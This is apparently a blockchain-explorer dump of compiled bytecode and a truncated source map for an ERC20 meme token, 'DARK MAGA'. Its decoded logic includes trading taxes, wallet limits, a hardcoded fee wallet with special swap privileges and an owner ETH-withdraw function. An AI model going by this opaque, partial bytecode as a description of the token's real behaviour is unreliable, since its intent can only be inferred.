776e6572604082015260600190565b5f60208284031215611b85575f80fd5b815161165081611959565b5f805f60608486031215611ba2575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611bcb575f80fd5b81518015158114611650575f80fd5b808201808211156103c8576103c8611a27565b5f60018201611bfe57611bfe611a27565b5060010190565b818103818111156103c8576103c8611a27565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611c7c5784516001600160a01b031683529383019391830191600101611c57565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611cb757634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220982e2db258d386313d78ea9b2574a8febae738866372b3d39d38b11fdf8ca1e964736f6c63430008170033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c80637d1db4a51161009d578063a9059cbb11610062578063a9059cbb1461030e578063bf474bed1461032d578063c9567bf914610341578063dd62ed3e14610355578063f2fde38b14610399575f80fd5b80637d1db4a51461027d5780638da5cb5b146102925780638f9a55c0146102b857806390ec71bd146102cd57806395d89b41146102e1575f80fd5b8063313ce567116100e3578063313ce567146101f057806351bc3c851461020b57806370a0823114610221578063715018a614610255578063751039fc14610269575f80fd5b806306fdde0314610129578063095ea7b31461016c5780630faee56f1461019b57806318160ddd146101bd57806323b872dd146101d1575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260098152684441524b204d41474160b81b60208201525b604051610163919061190d565b60405180910390f35b348015610177575f80fd5b5061018b61018636600461196d565b6103b8565b6040519015158152602001610163565b3480156101a6575f80fd5b506101af6103ce565b604051908152602001610163565b3480156101c8575f80fd5b506101af6103eb565b3480156101dc575f80fd5b5061018b6101eb366004611997565b61040c565b3480156101fb575f80fd5b5060405160098152602001610163565b348015610216575f80fd5b5061021f610473565b005b34801561022c575f80fd5b506101af61023b3660046119d5565b6001600160a01b03165f9081526001602052604090205490565b348015610260575f80fd5b5061021f6104c4565b348015610274575f80fd5b5061021f61053e565b348015610288575f80fd5b506101af600c5481565b34801561029d575f80fd5b505f546040516001600160a01b039091168152602001610163565b3480156102c3575f80fd5b506101af600d5481565b3480156102d8575f80fd5b5061021f6105f2565b3480156102ec575f80fd5b50604080518082019091526005815264444d41474160d81b6020820152610156565b348015610319575f80fd5b5061018b61032836600461196d565b610696565b348015610338575f80fd5b506101af6106a2565b34801561034c575f80fd5b5061021f6106bc565b348015610360575f80fd5b506101af61036f3660046119f0565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103a4575f80fd5b5061021f6103b33660046119d5565b610b08565b5f6103c4338484610bef565b5060015b92915050565b6103da6009600a611b1b565b6103e89063fac03320611b29565b81565b5f6103f86009600a611b1b565b610407906461f313f880611b29565b905090565b5f610418848484610d13565b610469843361046485604051806060016040528060288152602001611cbd602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112ec565b610bef565b5060019392505050565b3373429b34b0e23ca770fa2607877ecdcf2f4b227a7f14610492575f80fd5b305f9081526001602052604090205480156104b0576104b081611324565b4780156104c0576104c0816114f1565b5050565b5f546001600160a01b031633146104f65760405162461bcd60e51b81526004016104ed90611b40565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105675760405162461bcd60e51b81526004016104ed90611b40565b6105736009600a611b1b565b610582906461f313f880611b29565b600c556105916009600a611b1b565b6105a0906461f313f880611b29565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105d06009600a611b1b565b6105df906461f313f880611b29565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461061b5760405162461bcd60e51b81526004016104ed90611b40565b5f471161066a5760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a206e6f20657468657220746f207472616e73666572000000000060448201526064016104ed565b60405133904780156108fc02915f818181858888f19350505050158015610693573d5f803e3d5ffd5b50565b5f6103c4338484610d13565b6106ae6009600a611b1b565b6103e89063fa56ea00611b29565b5f546001600160a01b031633146106e55760405162461bcd60e51b81526004016104ed90611b40565b600e54600160a01b900460ff161561073f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ed565b61077f307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6107706009600a611b1b565b610464906461f313f880611b29565b6010805461ff0019166101001790556040805163c45a015560e01b815290516001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169163c45a01559160048083019260209291908290030181865afa1580156107f1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108159190611b75565b6001600160a01b031663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610880573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a49190611b75565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108ee573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109129190611b75565b600e80546001600160a01b0319166001600160a01b03928316179055305f818152600160205260409020547f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9092169163f305d7199147915f8061097d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e3573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a089190611b90565b5050600e5460405163095ea7b360e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d811660048301525f196024830152909116915063095ea7b3906044016020604051808303815f875af1158015610a7b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9f9190611bbb565b50600e805460ff60a01b1916600160a01b179055610ac45f546001600160a01b031690565b6001600160a01b03167ff9ca0f11181041c16343c0e2d0e0c3cf66188e39b033ab29e2fe6f0f84374a3642604051610afe91815260200190565b60405180910390a2565b5f546001600160a01b03163314610b315760405162461bcd60e51b81526004016104ed90611b40565b6001600160a01b038116610b965760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104ed565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ed565b6001600160a01b038216610cb25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ed565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610d775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ed565b6001600160a01b038216610dd95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ed565b5f8111610e3a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ed565b601054610100900460ff161580610e53575060105460ff165b15610e6857610e6383838361152f565b505050565b5f80546001600160a01b03858116911614801590610e9357505f546001600160a01b03848116911614155b8015610ebc57506001600160a01b03831673429b34b0e23ca770fa2607877ecdcf2f4b227a7f14155b1561115957610eed6064610ee7600854600b5411610edc57600454610ee0565b6006545b85906115d2565b90611657565b600e549091506001600160a01b038581169116148015610f3f57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316836001600160a01b031614155b8015610f6357506001600160a01b0383165f9081526003602052604090205460ff16155b1561104957600c54821115610fba5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104ed565b600d5482610fdc856001600160a01b03165f9081526001602052604090205490565b610fe69190611bda565b11156110345760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ed565b600b8054905f61104383611bed565b91905055505b600e546001600160a01b03848116911614801561106f57506001600160a01b0384163014155b1561109c576110996064610ee7600954600b541161108f57600554610ee0565b60075485906115d2565b90505b305f9081526001602052604090205460105460ff161580156110cb5750600e546001600160a01b038581169116145b80156110de5750601054610100900460ff165b801561110257506110f16009600a611b1b565b6110ff9063fa56ea00611b29565b81115b80156111115750600a54600b54115b15611157576111456111408461113b8461112d6009600a611b1b565b61113b9063fac03320611b29565b611698565b611324565b47801561115557611155476114f1565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061119657506001600160a01b0383165f9081526003602052604090205460ff165b80156111ab57506001600160a01b0384163014155b80156111c057506001600160a01b0383163014155b156111ca57436012555b6001600160a01b0384165f9081526003602052604090205460ff1615801561120a57506001600160a01b0383165f9081526003602052604090205460ff16155b156112da57600e546001600160a01b038481169116146112a8576001600160a01b038084165f908152601160205260409020600e5490918681169116036112705780545f0361126b57600b54600a5410156112655743611268565b5f195b81555b6112a2565b6001600160a01b0385165f90815260116020526040902081548154108061129657508154155b156112a057805482555b505b506112da565b6001600160a01b0384165f90815260116020526040902060125481546112cd916116ac565b6001820155426002909101555b6112e6848484846116ed565b50505050565b5f818484111561130f5760405162461bcd60e51b81526004016104ed919061190d565b505f61131b8486611c05565b95945050505050565b6010805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061136457611364611c18565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113e0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114049190611b75565b8160018151811061141757611417611c18565b60200260200101906001600160a01b031690816001600160a01b031681525050611462307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610bef565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906114b69085905f90869030904290600401611c2c565b5f604051808303815f87803b1580156114cd575f80fd5b505af11580156114df573d5f803e3d5ffd5b50506010805460ff1916905550505050565b60405173429b34b0e23ca770fa2607877ecdcf2f4b227a7f9082156108fc029083905f818181858888f193505050501580156104c0573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461155190826116ac565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461157f9082611717565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d069085815260200190565b5f825f036115e157505f6103c8565b5f6115ec8385611b29565b9050826115f98583611c9d565b146116505760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ed565b9392505050565b5f61165083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611775565b5f8183116116a65782611650565b50919050565b5f61165083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ec565b5f6116f98584846117a1565b905061171085858361170b87876116ac565b61185c565b5050505050565b5f806117238385611bda565b9050838110156116505760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ed565b5f81836117955760405162461bcd60e51b81526004016104ed919061190d565b505f61131b8486611c9d565b5f806001600160a01b03851673429b34b0e23ca770fa2607877ecdcf2f4b227a7f146117cd57836117da565b600f546117da90856115d2565b9050821561185457305f908152600160205260409020546117fb9084611717565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061184b9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461187e90836116ac565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546118ac9082611717565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118ff9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156119395785810183015185820160400152820161191d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610693575f80fd5b5f806040838503121561197e575f80fd5b823561198981611959565b946020939093013593505050565b5f805f606084860312156119a9575f80fd5b83356119b481611959565b925060208401356119c481611959565b929592945050506040919091013590565b5f602082840312156119e5575f80fd5b813561165081611959565b5f8060408385031215611a01575f80fd5b8235611a0c81611959565b91506020830135611a1c81611959565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611a7557815f1904821115611a5b57611a5b611a27565b80851615611a6857918102915b93841c9390800290611a40565b509250929050565b5f82611a8b575060016103c8565b81611a9757505f6103c8565b8160018114611aad5760028114611ab757611ad3565b60019150506103c8565b60ff841115611ac857611ac8611a27565b50506001821b6103c8565b5060208310610133831016604e8410600b8410161715611af6575081810a6103c8565b611b008383611a3b565b805f1904821115611b1357611b13611a27565b029392505050565b5f61165060ff841683611a7d565b80820281158282048414176103c8576103c8611a27565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611b85575f80fd5b815161165081611959565b5f805f60608486031215611ba2575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611bcb575f80fd5b81518015158114611650575f80fd5b808201808211156103c8576103c8611a27565b5f60018201611bfe57611bfe611a27565b5060010190565b818103818111156103c8576103c8611a27565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611c7c5784516001600160a01b031683529383019391830191600101611c57565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611cb757634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220982e2db258d386313d78ea9b2574a8febae738866372b3d39d38b11fdf8ca1e964736f6c63430008170033

Deployed Bytecode Sourcemap

4051:10375:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6195:83;;;;;;;;;;-1:-1:-1;6265:5:0;;;;;;;;;;;;-1:-1:-1;;;6265:5:0;;;;6195:83;;;;;;;:::i;:::-;;;;;;;;7028:161;;;;;;;;;;-1:-1:-1;7028:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7028:161:0;1023:187:1;5065:63:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5065:63:0;1215:177:1;6472:95:0;;;;;;;;;;;;;:::i;7457:381::-;;;;;;;;;;-1:-1:-1;7457:381:0;;;;;:::i;:::-;;:::i;6381:83::-;;;;;;;;;;-1:-1:-1;6381:83:0;;4676:1;2000:36:1;;1988:2;1973:18;6381:83:0;1858:184:1;13843:348:0;;;;;;;;;;;;;:::i;:::-;;6575:119;;;;;;;;;;-1:-1:-1;6575:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6668:18:0;6641:7;6668:18;;;:9;:18;;;;;;;6575:119;2880:148;;;;;;;;;;;;;:::i;12936:163::-;;;;;;;;;;;;;:::i;4863:55::-;;;;;;;;;;;;;;;;2666:79;;;;;;;;;;-1:-1:-1;2704:7:0;2731:6;2666:79;;-1:-1:-1;;;;;2731:6:0;;;2445:51:1;;2433:2;2418:18;2666:79:0;2299:203:1;4925:57:0;;;;;;;;;;;;;;;;14199:187;;;;;;;;;;;;;:::i;6286:87::-;;;;;;;;;;-1:-1:-1;6358:7:0;;;;;;;;;;;;-1:-1:-1;;;6358:7:0;;;;6286:87;;6702:167;;;;;;;;;;-1:-1:-1;6702:167:0;;;;;:::i;:::-;;:::i;4989:69::-;;;;;;;;;;;;;:::i;13207:628::-;;;;;;;;;;;;;:::i;6877:143::-;;;;;;;;;;-1:-1:-1;6877:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6985:18:0;;;6958:7;6985:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6877:143;3036:244;;;;;;;;;;-1:-1:-1;3036:244:0;;;;;:::i;:::-;;:::i;7028:161::-;7103:4;7120:39;1057:10;7143:7;7152:6;7120:8;:39::i;:::-;-1:-1:-1;7177:4:0;7028:161;;;;;:::o;5065:63::-;5115:13;4676:1;5115:2;:13;:::i;:::-;5102:26;;:10;:26;:::i;:::-;5065:63;:::o;6472:95::-;6525:7;4733:13;4676:1;4733:2;:13;:::i;:::-;4718:28;;:12;:28;:::i;:::-;6545:14;;6472:95;:::o;7457:381::-;7555:4;7572:36;7582:6;7590:9;7601:6;7572:9;:36::i;:::-;7619:189;7642:6;1057:10;7690:107;7746:6;7690:107;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7690:19:0;;;;;;:11;:19;;;;;;;;1057:10;7690:33;;;;;;;;;;:55;:107::i;:::-;7619:8;:189::i;:::-;-1:-1:-1;7826:4:0;7457:381;;;;;:::o;13843:348::-;1057:10;5191:42;13893:24;13885:33;;;;;;13968:4;13929:20;6668:18;;;:9;:18;;;;;;13988:14;;13985:73;;14016:30;14033:12;14016:16;:30::i;:::-;14087:21;14122:12;;14119:65;;14148:24;14161:10;14148:12;:24::i;:::-;13874:317;;13843:348::o;2880:148::-;2793:6;;-1:-1:-1;;;;;2793:6:0;1057:10;2793:22;2785:67;;;;-1:-1:-1;;;2785:67:0;;;;;;;:::i;:::-;;;;;;;;;2987:1:::1;2971:6:::0;;2950:40:::1;::::0;-1:-1:-1;;;;;2971:6:0;;::::1;::::0;2950:40:::1;::::0;2987:1;;2950:40:::1;3018:1;3001:19:::0;;-1:-1:-1;;;;;;3001:19:0::1;::::0;;2880:148::o;12936:163::-;2793:6;;-1:-1:-1;;;;;2793:6:0;1057:10;2793:22;2785:67;;;;-1:-1:-1;;;2785:67:0;;;;;;;:::i;:::-;4733:13:::1;4676:1;4733:2;:13;:::i;:::-;4718:28;::::0;:12:::1;:28;:::i;:::-;12992:12;:22:::0;4733:13:::1;4676:1;4733:2;:13;:::i;:::-;4718:28;::::0;:12:::1;:28;:::i;:::-;13025:14;:23:::0;13064:27:::1;4733:13;4676:1;4733:2;:13;:::i;:::-;4718:28;::::0;:12:::1;:28;:::i;:::-;13064:27;::::0;1361:25:1;;;1349:2;1334:18;13064:27:0::1;;;;;;;12936:163::o:0;14199:187::-;2793:6;;-1:-1:-1;;;;;2793:6:0;1057:10;2793:22;2785:67;;;;-1:-1:-1;;;2785:67:0;;;;;;;:::i;:::-;14283:1:::1;14259:21;:25;14251:65;;;::::0;-1:-1:-1;;;14251:65:0;;5145:2:1;14251:65:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:29;5203:18;;;5196:57;5270:18;;14251:65:0::1;4943:351:1::0;14251:65:0::1;14327:51;::::0;14335:10:::1;::::0;14356:21:::1;14327:51:::0;::::1;;;::::0;::::1;::::0;;;14356:21;14335:10;14327:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14199:187::o:0;6702:167::-;6780:4;6797:42;1057:10;6821:9;6832:6;6797:9;:42::i;4989:69::-;5045:13;4676:1;5045:2;:13;:::i;:::-;5032:26;;:10;:26;:::i;13207:628::-;2793:6;;-1:-1:-1;;;;;2793:6:0;1057:10;2793:22;2785:67;;;;-1:-1:-1;;;2785:67:0;;;;;;;:::i;:::-;13271:11:::1;::::0;-1:-1:-1;;;13271:11:0;::::1;;;13270:12;13262:47;;;::::0;-1:-1:-1;;;13262:47:0;;5501:2:1;13262:47:0::1;::::0;::::1;5483:21:1::0;5540:2;5520:18;;;5513:30;5579:25;5559:18;;;5552:53;5622:18;;13262:47:0::1;5299:347:1::0;13262:47:0::1;13320:58;13337:4;13352:15;4733:13;4676:1;4733:2;:13;:::i;:::-;4718:28;::::0;:12:::1;:28;:::i;13320:58::-;13389:11;:16:::0;;-1:-1:-1;;13389:16:0::1;;;::::0;;13450:25:::1;::::0;;-1:-1:-1;;;13450:25:0;;;;-1:-1:-1;;;;;13450:15:0::1;:23;::::0;::::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:23;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13432:55:0::1;;13496:4;13502:15;-1:-1:-1::0;;;;;13502:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13432:93;::::0;-1:-1:-1;;;;;;13432:93:0::1;::::0;;;;;;-1:-1:-1;;;;;6137:15:1;;;13432:93:0::1;::::0;::::1;6119:34:1::0;6189:15;;6169:18;;;6162:43;6054:18;;13432:93:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13416:13;:109:::0;;-1:-1:-1;;;;;;13416:109:0::1;-1:-1:-1::0;;;;;13416:109:0;;::::1;;::::0;;13606:4:::1;-1:-1:-1::0;6668:18:0;;;-1:-1:-1;6668:18:0;;;;;;13536:15:::1;:31:::0;;::::1;::::0;::::1;::::0;13575:21:::1;::::0;13637:1:::1;13639::::0;13641:7:::1;2704::::0;2731:6;-1:-1:-1;;;;;2731:6:0;;2666:79;13641:7:::1;13536:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13536:129:0;;;-1:-1:-1;;;;;6575:15:1;;;13536:129:0::1;::::0;::::1;6557:34:1::0;6607:18;;;6600:34;;;;6650:18;;;6643:34;;;;6693:18;;;6686:34;6757:15;;;6736:19;;;6729:44;13649:15:0::1;6789:19:1::0;;;6782:35;6491:19;;13536:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13683:13:0::1;::::0;13676:71:::1;::::0;-1:-1:-1;;;13676:71:0;;-1:-1:-1;;;;;13714:15:0::1;7331:32:1::0;;13676:71:0::1;::::0;::::1;7313:51:1::0;-1:-1:-1;;7380:18:1;;;7373:34;13683:13:0;;::::1;::::0;-1:-1:-1;13676:29:0::1;::::0;7286:18:1;;13676:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13758:11:0::1;:16:::0;;-1:-1:-1;;;;13758:16:0::1;-1:-1:-1::0;;;13758:16:0::1;::::0;;13802:7:::1;2704::::0;2731:6;-1:-1:-1;;;;;2731:6:0;;2666:79;13802:7:::1;-1:-1:-1::0;;;;;13792:35:0::1;;13811:15;13792:35;;;;1361:25:1::0;;1349:2;1334:18;;1215:177;13792:35:0::1;;;;;;;;13207:628::o:0;3036:244::-;2793:6;;-1:-1:-1;;;;;2793:6:0;1057:10;2793:22;2785:67;;;;-1:-1:-1;;;2785:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3125:22:0;::::1;3117:73;;;::::0;-1:-1:-1;;;3117:73:0;;7902:2:1;3117:73:0::1;::::0;::::1;7884:21:1::0;7941:2;7921:18;;;7914:30;7980:34;7960:18;;;7953:62;-1:-1:-1;;;8031:18:1;;;8024:36;8077:19;;3117:73:0::1;7700:402:1::0;3117:73:0::1;3227:6;::::0;;3206:38:::1;::::0;-1:-1:-1;;;;;3206:38:0;;::::1;::::0;3227:6;::::1;::::0;3206:38:::1;::::0;::::1;3255:6;:17:::0;;-1:-1:-1;;;;;;3255:17:0::1;-1:-1:-1::0;;;;;3255:17:0;;;::::1;::::0;;;::::1;::::0;;3036:244::o;7846:335::-;-1:-1:-1;;;;;7939:19:0;;7931:68;;;;-1:-1:-1;;;7931:68:0;;8309:2:1;7931:68:0;;;8291:21:1;8348:2;8328:18;;;8321:30;8387:34;8367:18;;;8360:62;-1:-1:-1;;;8438:18:1;;;8431:34;8482:19;;7931:68:0;8107:400:1;7931:68:0;-1:-1:-1;;;;;8018:21:0;;8010:68;;;;-1:-1:-1;;;8010:68:0;;8714:2:1;8010:68:0;;;8696:21:1;8753:2;8733:18;;;8726:30;8792:34;8772:18;;;8765:62;-1:-1:-1;;;8843:18:1;;;8836:32;8885:19;;8010:68:0;8512:398:1;8010:68:0;-1:-1:-1;;;;;8089:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8141:32;;1361:25:1;;;8141:32:0;;1334:18:1;8141:32:0;;;;;;;;7846:335;;;:::o;8189:3100::-;-1:-1:-1;;;;;8282:18:0;;8274:68;;;;-1:-1:-1;;;8274:68:0;;9117:2:1;8274:68:0;;;9099:21:1;9156:2;9136:18;;;9129:30;9195:34;9175:18;;;9168:62;-1:-1:-1;;;9246:18:1;;;9239:35;9291:19;;8274:68:0;8915:401:1;8274:68:0;-1:-1:-1;;;;;8361:16:0;;8353:64;;;;-1:-1:-1;;;8353:64:0;;9523:2:1;8353:64:0;;;9505:21:1;9562:2;9542:18;;;9535:30;9601:34;9581:18;;;9574:62;-1:-1:-1;;;9652:18:1;;;9645:33;9695:19;;8353:64:0;9321:399:1;8353:64:0;8448:1;8436:11;:13;8428:67;;;;-1:-1:-1;;;8428:67:0;;9927:2:1;8428:67:0;;;9909:21:1;9966:2;9946:18;;;9939:30;10005:34;9985:18;;;9978:62;-1:-1:-1;;;10056:18:1;;;10049:39;10105:19;;8428:67:0;9725:405:1;8428:67:0;8513:11;;;;;;;8512:12;;:22;;-1:-1:-1;8528:6:0;;;;8512:22;8508:144;;;8552:67;8585:4;8590:2;8593:11;8552:14;:67::i;:::-;8189:3100;;;:::o;8508:144::-;8664:17;2731:6;;-1:-1:-1;;;;;8698:15:0;;;2731:6;;8698:15;;;;:32;;-1:-1:-1;2704:7:0;2731:6;-1:-1:-1;;;;;8717:13:0;;;2731:6;;8717:13;;8698:32;:51;;;;-1:-1:-1;;;;;;8733:16:0;;5191:42;8733:16;;8698:51;8694:1353;;;8778:105;8879:3;8778:96;8828:15;;8817:9;;:26;8816:57;;8859:14;;8816:57;;;8845:12;;8816:57;8778:11;;:37;:96::i;:::-;:100;;:105::i;:::-;8912:13;;8766:117;;-1:-1:-1;;;;;;8904:21:0;;;8912:13;;8904:21;:55;;;;;8943:15;-1:-1:-1;;;;;8929:30:0;:2;-1:-1:-1;;;;;8929:30:0;;;8904:55;:81;;;;-1:-1:-1;;;;;;8964:21:0;;;;;;:17;:21;;;;;;;;8963:22;8904:81;8900:377;;;9027:12;;9014:11;:25;;9006:63;;;;-1:-1:-1;;;9006:63:0;;10337:2:1;9006:63:0;;;10319:21:1;10376:2;10356:18;;;10349:30;10415:27;10395:18;;;10388:55;10460:18;;9006:63:0;10135:349:1;9006:63:0;9146:14;;9132:11;9118:13;9128:2;-1:-1:-1;;;;;6668:18:0;6641:7;6668:18;;;:9;:18;;;;;;;6575:119;9118:13;:25;;;;:::i;:::-;:42;;9088:142;;;;-1:-1:-1;;;9088:142:0;;10821:2:1;9088:142:0;;;10803:21:1;10860:2;10840:18;;;10833:30;10899:28;10879:18;;;10872:56;10945:18;;9088:142:0;10619:350:1;9088:142:0;9249:9;:12;;;:9;:12;;;:::i;:::-;;;;;;8900:377;9300:13;;-1:-1:-1;;;;;9296:17:0;;;9300:13;;9296:17;:41;;;;-1:-1:-1;;;;;;9317:20:0;;9332:4;9317:20;;9296:41;9293:201;;;9370:108;9474:3;9370:99;9420:16;;9409:9;;:27;9408:60;;9453:15;;9408:60;;;9438:13;;9370:11;;:37;:99::i;:108::-;9358:120;;9293:201;9559:4;9510:28;6668:18;;;:9;:18;;;;;;9585:6;;;;9584:7;:27;;;;-1:-1:-1;9598:13:0;;-1:-1:-1;;;;;9594:17:0;;;9598:13;;9594:17;9584:27;:42;;;;-1:-1:-1;9615:11:0;;;;;;;9584:42;:102;;;;-1:-1:-1;5045:13:0;4676:1;5045:2;:13;:::i;:::-;5032:26;;:10;:26;:::i;:::-;9647:20;:39;9584:102;:136;;;;;9702:18;;9690:9;;:30;9584:136;9580:456;;;9755:74;9772:56;9776:11;9789:38;9793:20;5115:13;4676:1;5115:2;:13;:::i;:::-;5102:26;;:10;:26;:::i;:::-;9789:3;:38::i;9772:56::-;9755:16;:74::i;:::-;9877:21;9921:20;;9917:104;;9966:35;9979:21;9966:12;:35::i;:::-;9736:300;9580:456;8751:1296;8694:1353;-1:-1:-1;;;;;10064:23:0;;;;;;:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;10091:21:0;;;;;;:17;:21;;;;;;;;10064:48;10063:76;;;;-1:-1:-1;;;;;;10118:21:0;;10134:4;10118:21;;10063:76;:99;;;;-1:-1:-1;;;;;;10143:19:0;;10157:4;10143:19;;10063:99;10059:158;;;10193:12;10180:10;:25;10059:158;-1:-1:-1;;;;;10234:23:0;;;;;;:17;:23;;;;;;;;10233:24;:50;;;;-1:-1:-1;;;;;;10262:21:0;;;;;;:17;:21;;;;;;;;10261:22;10233:50;1